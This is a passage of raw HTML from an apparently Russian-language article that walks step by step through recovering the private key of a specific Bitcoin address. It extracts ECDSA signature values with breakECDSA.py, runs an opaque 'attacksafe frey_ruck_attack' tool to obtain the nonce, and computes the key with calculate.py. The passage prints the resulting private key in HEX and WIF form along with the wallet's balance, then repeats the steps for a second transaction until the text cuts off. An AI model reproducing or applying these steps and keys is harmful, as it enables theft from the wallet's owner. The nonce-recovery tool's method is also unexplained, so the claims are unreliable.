src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c25\/8d6\/d9f\/c258d6d9f9c60d40c5d7487b53fc104c.png\" alt=\"\" title=\"\" width=\"1008\" height=\"174\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c25\/8d6\/d9f\/c258d6d9f9c60d40c5d7487b53fc104c.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f3d\/990\/381\/f3d990381e66fa37288db138d46b1de7.png\" alt=\"\" title=\"\" width=\"1024\" height=\"93\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f3d\/990\/381\/f3d990381e66fa37288db138d46b1de7.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/41c\/76d\/ddb\/41c76dddb90c5bda3a8362f28c057e63.png\" alt=\"\" title=\"\" width=\"1024\" height=\"256\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/41c\/76d\/ddb\/41c76dddb90c5bda3a8362f28c057e63.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0bc\/910\/c32\/0bc910c326bca93f212da716200aca6c.png\" alt=\"\" title=\"\" width=\"1024\" height=\"306\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0bc\/910\/c32\/0bc910c326bca93f212da716200aca6c.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f9d\/de3\/cc3\/f9dde3cc39dde2333547c8611c02aa2d.png\" alt=\"\" title=\"\" width=\"1024\" height=\"462\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f9d\/de3\/cc3\/f9dde3cc39dde2333547c8611c02aa2d.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/452\/de7\/753\/452de7753bd672b309cea0dbe5604811.png\" alt=\"\" title=\"\" width=\"1024\" height=\"93\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/452\/de7\/753\/452de7753bd672b309cea0dbe5604811.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 point2gen  =   (0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/726\/ab3\/a20\/726ab3a201f875049cf006f4271b59e1.png\" alt=\"\" title=\"\" width=\"748\" height=\"292\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/726\/ab3\/a20\/726ab3a201f875049cf006f4271b59e1.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2 WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/635\/7de\/c80\/6357dec80d082fb05816c488c0cab594.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/635\/7de\/c80\/6357dec80d082fb05816c488c0cab594.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0f6\/964\/67c\/0f696467c8fe414914ad21c19dfb5cc9.png\" alt=\"www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" title=\"www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" width=\"1024\" height=\"459\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0f6\/964\/67c\/0f696467c8fe414914ad21c19dfb5cc9.png\"\/><figcaption>www.blockchain.com\/btc\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/figcaption><\/figure>\n<p><code>BALANCE: $ 711.91<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code>\u00a0<a href=\"https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6\" rel=\"noopener noreferrer nofollow\"><strong><u>989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/659\/8a4\/cec\/6598a4cecfbcaed71645e810e55573c0.png\" alt=\"\" title=\"\" width=\"1024\" height=\"95\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/659\/8a4\/cec\/6598a4cecfbcaed71645e810e55573c0.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2bc\/e83\/cea\/2bce83ceac18c55ef25d79b2a9fe89e2.png\" alt=\"\" title=\"\" width=\"1024\" height=\"268\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2bc\/e83\/cea\/2bce83ceac18c55ef25d79b2a9fe89e2.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30 Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3ca\/eb8\/521\/3caeb8521cf894ac1842de479c36fc5d.png\" alt=\"\" title=\"\" width=\"1024\" height=\"312\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3ca\/eb8\/521\/3caeb8521cf894ac1842de479c36fc5d.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/11b\/147\/ea0\/11b147ea028979a1be0bb2223bd55962.png\" alt=\"\" title=\"\" width=\"1024\" height=\"454\" 